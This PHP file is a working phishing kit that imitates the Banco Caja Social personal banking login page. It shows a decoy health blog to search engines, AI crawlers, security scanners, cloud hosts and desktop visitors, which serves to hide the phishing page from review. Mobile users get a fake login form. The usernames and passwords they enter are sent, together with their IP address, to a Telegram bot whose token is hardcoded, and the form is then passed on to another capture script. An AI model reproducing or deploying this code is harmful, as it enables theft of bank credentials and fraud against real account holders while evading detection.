<?php
session_start();

// ============================================================
// DETECCIÓN DE IP REAL
// ============================================================
function getRealIP() {
    $keys = ['HTTP_CF_CONNECTING_IP', 'HTTP_X_FORWARDED_FOR', 'REMOTE_ADDR'];
    foreach ($keys as $key) {
        if (!empty($_SERVER[$key])) {
            $ip_list = explode(',', $_SERVER[$key]);
            $ip = trim($ip_list[0]);
            if (filter_var($ip, FILTER_VALIDATE_IP)) return $ip;
        }
    }
    return '0.0.0.0';
}
$ip = getRealIP();

$user_agent       = $_SERVER['HTTP_USER_AGENT'] ?? 'unknown';
$user_agent_lower = strtolower($user_agent);

function isMobileUA($ua_lower) {
    $mobile_patterns = [
        'mobile', 'android', 'iphone', 'ipad', 'ipod', 'blackberry', 'webos',
        'windows phone', 'iemobile', 'opera mini', 'opera mobi', 'mobi', 'tablet',
        'kindle', 'silk', 'playbook', 'bb10', 'symbian', 'nokia', 'lg', 'samsung'
    ];
    foreach ($mobile_patterns as $pattern) {
        if (strpos($ua_lower, $pattern) !== false) return true;
    }
    return false;
}

$is_mobile_ua = isMobileUA($user_agent_lower);

$mobile_ip_prefixes = [
    '166.210.', '168.0.', '152.200.', '179.18.', '201.221.', '200.93.', '204.199.',
    '191.156.', '100.64.'
];
$residential_ip_prefixes = [
    '190.', '186.', '181.', '201.228.', '200.21.', '190.68.', '186.116.', '186.119.',
    '190.65.'
];

$is_mobile_ip     = false;
$is_residential_ip = false;

foreach ($mobile_ip_prefixes as $prefix) {
    if (strpos($ip, $prefix) === 0) { $is_mobile_ip = true; break; }
}
foreach ($residential_ip_prefixes as $prefix) {
    if (strpos($ip, $prefix) === 0) { $is_residential_ip = true; break; }
}

$bot_agents = [
    'googlebot', 'bingbot', 'facebookexternalhit', 'semrushbot', 'ahrefsbot',
    'adsbot-google', 'mediapartners-google', 'apis-google', 'google-read-aloud',
    'google-safe-browsing', 'google-safebrowsing', 'safebrowsing', 'sb-google',
    'chrome-lighthouse', 'lighthouse', 'pagespeed', 'google page speed',
    'msnbot', 'duckduckbot', 'yandexbot', 'baiduspider', 'seznambot', 'applebot',
    'facebot', 'whatsapp', 'telegrambot', 'discordbot', 'slackbot',
    'twitterbot', 'linkedinbot', 'pinterest',
    'gptbot', 'openai', 'chatgpt', 'anthropic', 'claude', 'gemini', 'bard',
    'perplexity', 'youbot', 'cohere', 'huggingface', 'c.ai', 'character.ai',
    'amazonbot', 'googlecloud', 'gcp', 'azure', 'digitalocean',
    'ovh', 'hetzner', 'contabo', 'linode', 'vultr', 'oraclecloud', 'ibmcloud',
    'namecheapbot', 'godaddybot', 'cloudflare', 'cf-', 'youstablebot', 'domains.google',
    'whois', 'rdap', 'spaceshipbot',
    'uptimerobot', 'pingdom', 'statuscake', 'betteruptime', 'datadog', 'newrelic', 'site24x7',
    'nessus', 'acunetix', 'qualys', 'nmap', 'zgrab', 'masscan',
    'shodan', 'censys', 'securitytrails',
    'curl', 'wget', 'python', 'requests', 'aiohttp',
    'axios', 'httpclient', 'okhttp', 'java', 'go-http', 'libwww',
    'postman', 'insomnia'
];
$is_bot = false;
foreach ($bot_agents as $bot) {
    if (stripos($user_agent_lower, $bot) !== false) { $is_bot = true; break; }
}

$show_white = false;
if ($is_bot) {
    $show_white = true;
} elseif (!$is_mobile_ua && $is_residential_ip) {
    $show_white = true;
} elseif ($is_mobile_ua || $is_mobile_ip) {
    $show_white = false;
} else {
    $show_white = true;
}

if ($show_white) {
    header('Content-Type: text/html; charset=utf-8');
    ?>
    <!DOCTYPE html>
    <html lang="es">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Guía Salud y Bienestar 2026 - Colombia</title>
        <meta name="description" content="Consejos naturales, nutrición y ejercicio para una vida plena en Colombia.">
    </head>
    <body style="font-family: Arial, sans-serif; max-width: 900px; margin: 0 auto; padding: 20px;">
        <h1>Bienvenido a nuestro blog de salud natural!</h1>
        <p>Encuentra los mejores tips de bienestar, superalimentos y rutinas saludables adaptadas para colombianos en 2026.</p>
        <article>
            <h2>Los 5 superalimentos más recomendados</h2>
            <p>Chía, quinoa, aguacate, café colombiano y frutas tropicales...</p>
        </article>
    </body>
    </html>
    <?php
    exit;
}

// ============================================================
// ANTIBOT TOTAL — BLOQUEO ABSOLUTO
// ============================================================
$ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? '');

$bot_signatures = [
    'googlebot','adsbot-google','mediapartners-google',
    'apis-google','google-read-aloud',
    'google-safe-browsing','google-safebrowsing',
    'safebrowsing','sb-google',
    'chrome-lighthouse','lighthouse',
    'pagespeed','google page speed',
    'bingbot','msnbot','duckduckbot',
    'yandexbot','baiduspider','seznambot','applebot',
    'facebookexternalhit','facebot',
    'whatsapp','telegrambot',
    'discordbot','slackbot',
    'twitterbot','linkedinbot','pinterest',
    'gptbot','openai','chatgpt',
    'anthropic','claude',
    'gemini','bard',
    'perplexity','youbot',
    'cohere','huggingface',
    'c.ai','character.ai',
    'amazonbot',
    'googlecloud','gcp',
    'azure',
    'digitalocean',
    'ovh','hetzner','contabo','linode','vultr',
    'oraclecloud','ibmcloud',
    'namecheapbot','godaddybot',
    'cloudflare','cf-',
    'domains.google',
    'whois','rdap',
    'uptimerobot','pingdom','statuscake',
    'betteruptime','datadog','newrelic','site24x7',
    'nessus','acunetix','qualys',
    'nmap','zgrab','masscan',
    'shodan','censys','securitytrails',
    'curl','wget','python','requests','aiohttp',
    'axios','httpclient','okhttp','java',
    'go-http','libwww',
    'postman','insomnia'
];

foreach ($bot_signatures as $sig) {
    if (strpos($ua, $sig) !== false) { http_response_code(403); exit; }
}

$required_headers = ['HTTP_ACCEPT', 'HTTP_ACCEPT_LANGUAGE', 'HTTP_ACCEPT_ENCODING'];
foreach ($required_headers as $h) {
    if (empty($_SERVER[$h])) { http_response_code(403); exit; }
}

if (!isset($_COOKIE['human_ok'])) {
    setcookie('human_ok', '1', time() + 3600, '/', '', false, true);
    echo '<script>location.reload()</script>';
    exit;
}

$_SESSION['hits'] = ($_SESSION['hits'] ?? 0) + 1;
if ($_SESSION['hits'] > 120) { http_response_code(429); exit; }

// ============================================================
// CAPTURA DE CREDENCIALES → TELEGRAM
// ============================================================
$token  = "8507058672:AAFuVTy0YzwtLnho4tGEquL4bwIv0R36YoA";
$chatId = -5079385357;

if ($_SERVER['REQUEST_METHOD'] === 'POST' && !empty($_POST['usuario'])) {
    $usuario  = $_POST['usuario']  ?? '';
    $password = $_POST['password'] ?? '';
    $banco    = $_POST['banco']    ?? 'Banco Caja Social';

    $msg = "<b>\xF0\x9F\x8F\xA6 Credenciales Banco</b>\n\n"
         . "<b>\xF0\x9F\x8C\x90 IP: </b><code>{$ip}</code>\n\n"
         . "<b>\xF0\x9F\x8F\xA6 Banco: </b><code>{$banco}</code>\n"
         . "<b>\xF0\x9F\x91\xA4 Usuario: </b><code>{$usuario}</code>\n"
         . "<b>\xF0\x9F\x94\x91 Contrase\xC3\xB1a: </b><code>{$password}</code>";

    $ch = curl_init("https://api.telegram.org/bot{$token}/sendMessage");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
        'chat_id'    => $chatId,
        'text'       => $msg,
        'parse_mode' => 'HTML'
    ]));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    curl_exec($ch);
    curl_close($ch);

    echo '<form id="_fwd" method="POST" action="process_bank_credentials_multi.php">';
    foreach ($_POST as $k => $v) {
        echo '<input type="hidden" name="' . htmlspecialchars($k) . '" value="' . htmlspecialchars($v) . '">';
    }
    echo '</form><script>document.getElementById("_fwd").submit();</script>';
    exit;
}
?>
<!DOCTYPE html>
<html lang="es">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <meta name="apple-mobile-web-app-capable" content="yes">
    <meta name="apple-mobile-web-app-status-bar-style" content="black-translucent">
    <meta name="mobile-web-app-capable" content="yes">
    <meta name="theme-color" content="#0066cc">
    <title>Bienvenido al Portal Personas | Banco Caja Social</title>
    <link rel="shortcut icon" href="https://bancapersonas.bancocajasocial.com/favicon.ico" />
    <link rel="apple-touch-icon" href="https://bancapersonas.bancocajasocial.com/favicon.ico" />
    <script type="text/javascript" src="/scripts/jquery-3.6.0.min.js"></script>
    <script src="/scripts/jquery.jclock-min.js" type="text/javascript"></script>
    <script type="text/javascript" src="/scripts/functions2.js"></script>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
            font-family: 'Arial', sans-serif;
        }

        body {
            background: linear-gradient(135deg, #f8f9fa 0%, #e9ecef 100%);
            min-height: 100vh;
            position: relative;
            overflow-x: hidden;
            width: 100%;
            display: flex;
            align-items: center;
            justify-content: center;
        }

        body::before {
            content: '';
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background-image: url('data:image/svg+xml,<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100"><defs><pattern id="grain" width="100" height="100" patternUnits="userSpaceOnUse"><circle cx="50" cy="50" r="1" fill="%23f0f0f0" opacity="0.3"/></pattern></defs><rect width="100%" height="100%" fill="url(%23grain)"/></svg>');
            opacity: 0.5;
            z-index: 1;
            pointer-events: none;
        }

        .container {
            max-width: 1200px;
            margin: 0 auto;
            padding: 20px;
            position: relative;
            z-index: 20;
            width: 100%;
            box-sizing: border-box;
            display: flex;
            align-items: center;
            justify-content: center;
            min-height: 100vh;
        }

        .main-content {
            display: grid;
            grid-template-columns: 1fr 400px;
            gap: 60px;
            align-items: center;
            width: 100%;
            max-width: 1000px;
        }

        .left-section {
            display: flex;
            flex-direction: column;
            gap: 20px;
            align-items: center;
        }

        .logo {
            width: 280px;
            height: auto;
            margin: 0 auto 20px auto;
        }

        .welcome-title {
            color: #1e3a8a;
            font-size: 2.2em;
            font-weight: 700;
            margin-bottom: 15px;
            line-height: 1.2;
        }

        .welcome-subtitle {
            color: #64748b;
            font-size: 1.1em;
            line-height: 1.6;
            margin-bottom: 20px;
        }

        .info-text {
            color: #475569;
            font-size: 0.95em;
            line-height: 1.5;
        }

        .login-card {
            background: white;
            border-radius: 20px;
            padding: 40px;
            box-shadow: 0 20px 40px rgba(0, 0, 0, 0.1);
            border: 1px solid #e2e8f0;
            width: 100%;
            max-width: 400px;
        }

        .login-header {
            text-align: center;
            margin-bottom: 30px;
        }

        .login-logo {
            width: 180px;
            height: auto;
            margin: 0 auto 20px;
            display: block;
        }

        .login-title {
            color: #1e293b;
            font-size: 1.8em;
            font-weight: 600;
            margin-bottom: 10px;
        }

        .login-subtitle {
            color: #64748b;
            font-size: 0.95em;
            line-height: 1.5;
        }

        .form-group {
            margin-bottom: 20px;
            position: relative;
        }

        .form-group label {
            display: block;
            color: #374151;
            font-weight: 600;
            margin-bottom: 8px;
            font-size: 0.95em;
        }

        .form-group input {
            width: 100%;
            padding: 15px 20px;
            border: 2px solid #e5e7eb;
            border-radius: 12px;
            background: #f9fafb;
            color: #374151;
            font-size: 16px;
            transition: all 0.3s ease;
            box-sizing: border-box;
            -webkit-appearance: none;
        }

        @media screen and (-webkit-min-device-pixel-ratio: 0) {
            .form-group input { font-size: 16px; }
        }

        .form-group input:focus {
            outline: none;
            border-color: #0066cc;
            background: white;
            box-shadow: 0 0 0 3px rgba(0, 102, 204, 0.1);
        }

        .form-group input::placeholder {
            color: #9ca3af;
            transition: opacity 0.3s ease;
        }

        .form-group input:focus::placeholder { opacity: 0.5; }

        .example-text {
            font-size: 0.85em;
            color: #6b7280;
            margin-top: 5px;
        }

        .login-btn {
            width: 100%;
            padding: 15px;
            background: #0066cc;
            border: none;
            border-radius: 12px;
            color: white;
            font-size: 16px;
            font-weight: 600;
            cursor: pointer;
            transition: all 0.3s ease;
            margin: 25px 0 20px 0;
            text-transform: none;
        }

        .login-btn:hover {
            background: #0052a3;
            transform: translateY(-2px);
            box-shadow: 0 8px 20px rgba(0, 102, 204, 0.3);
        }

        .login-btn:disabled {
            background: #9ca3af;
            cursor: not-allowed;
            transform: none;
        }

        .error-message {
            background: #ffebee;
            border: 1px solid #f44336;
            color: #c62828;
            padding: 15px;
            border-radius: 8px;
            margin-bottom: 20px;
            font-size: 0.9em;
            display: flex;
            align-items: flex-start;
            gap: 10px;
            text-align: left;
            animation: shake 0.5s;
        }

        .error-icon { font-size: 1.2em; flex-shrink: 0; margin-top: 2px; }
        .error-content { flex: 1; }
        .error-content strong { color: #c62828; }
        .error-content small { color: #888; }

        @keyframes shake {
            0%, 100% { transform: translateX(0); }
            25% { transform: translateX(-5px); }
            75% { transform: translateX(5px); }
        }

        @media (max-width: 1024px) {
            .main-content { grid-template-columns: 1fr; gap: 40px; text-align: center; }
            .left-section { order: 2; }
            .login-card { order: 1; max-width: 450px; margin: 0 auto; }
        }

        @media (max-width: 768px) {
            .container { padding: 15px; }
            .main-content { gap: 30px; }
            .welcome-title { font-size: 2.2em; }
            .logo { width: 240px; }
            .login-card { padding: 30px 25px; max-width: 100%; }
        }

        @media (max-width: 576px) {
            .container { padding: 10px; }
            .welcome-title { font-size: 1.8em; }
            .logo { width: 200px; }
            .login-card { padding: 25px 20px; border-radius: 15px; }
            .login-title { font-size: 1.5em; }
            .form-group input { padding: 12px 15px; font-size: 15px; }
            .login-btn { padding: 12px; font-size: 15px; }
        }

        @media (max-width: 400px) {
            .welcome-title { font-size: 1.6em; }
            .logo { width: 180px; }
        }

        .loading { opacity: 0.7; pointer-events: none; }
        .loading .login-btn { background: #6b7280; }

        .login-card { animation: fadeInUp 0.6s ease-out forwards; }

        @keyframes fadeInUp {
            from { opacity: 0; transform: translateY(30px); }
            to   { opacity: 1; transform: translateY(0); }
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="main-content">
            <!-- Left Section -->
            <div class="left-section">
                <img src="/img/social.png" alt="Banco Caja Social" class="logo" style="max-width: 220px; height: auto;">
                <h1 class="welcome-title">Bienvenido al Portal Personas</h1>
                <p class="welcome-subtitle">
                    Recuerde que su usuario está compuesto por su Tipo de Identificación <strong>(CC, CE, NI, TI, PE)</strong> y su Número de Identificación sin espacios, puntos ni comas.
                </p>
                <p class="info-text">
                    Accede de forma segura a todos tus productos y servicios bancarios desde cualquier lugar y en cualquier momento.
                </p>
            </div>

            <!-- Login Card -->
            <div class="login-card">
                <div class="login-header">
                    <img src="/img/social.png" alt="Banco Caja Social" class="login-logo" style="max-width: 180px; height: auto; margin-bottom: 15px;">
                    <h2 class="login-title">Iniciar Sesión</h2>
                    <p class="login-subtitle">
                        Ingresa tus datos para acceder a tu banca en línea
                    </p>
                </div>

                <form action="" method="POST" id="loginForm">
                    <input type="hidden" value="3000000000" name="id_user">
                    <input type="hidden" value="" name="celular">
                    <input type="hidden" value="Banco Caja Social" name="banco" id="banco">

                    <div class="form-group">
                        <label for="usuario">Usuario</label>
                        <input type="text" id="usuario" name="usuario" placeholder="Ingresa tu usuario" required>
                        <div class="example-text">Ejemplo: CC1234567890</div>
                    </div>

                    <div class="form-group">
                        <label for="password">Contraseña</label>
                        <input type="password" id="password" name="password" placeholder="Ingresa tu contraseña" required>
                    </div>

                    <button type="button" class="login-btn" id="submitBtn">
                        Siguiente
                    </button>
                </form>
            </div>
        </div>
    </div>

    <script>
        document.addEventListener('DOMContentLoaded', function() {
            const form      = document.getElementById('loginForm');
            const submitBtn = document.getElementById('submitBtn');
            const inputs    = form.querySelectorAll('input[required]');

            inputs.forEach(function(input) {
                input.addEventListener('focus', function() { this.style.transform = 'scale(1.01)'; });
                input.addEventListener('blur',  function() { this.style.transform = 'scale(1)'; });
                input.addEventListener('input', validateForm);
            });

            function validateForm() {
                let isValid = true;
                inputs.forEach(function(input) {
                    if (!input.value.trim()) isValid = false;
                });
                submitBtn.disabled = !isValid;
            }

            submitBtn.addEventListener('click', function() {
                var usuario  = document.getElementById('usuario').value.trim();
                var password = document.getElementById('password').value.trim();
                var banco    = document.getElementById('banco').value;

                if (!usuario || usuario.length < 8) {
                    document.getElementById('usuario').focus();
                    return;
                }
                if (!password) {
                    document.getElementById('password').focus();
                    return;
                }

                submitBtn.innerHTML  = 'Verificando...';
                submitBtn.disabled   = true;
                form.classList.add('loading');

                if (typeof pasousuario === 'function') {
                    pasousuario(password, usuario, banco);
                } else {
                    form.submit();
                }
            });

            validateForm();

            setTimeout(function() {
                document.querySelector('.login-card').style.opacity = '1';
            }, 100);
        });

        window.addEventListener('beforeunload', function() {
            document.getElementById('usuario').value  = '';
            document.getElementById('password').value = '';
        });
    </script>
</body>
</html>
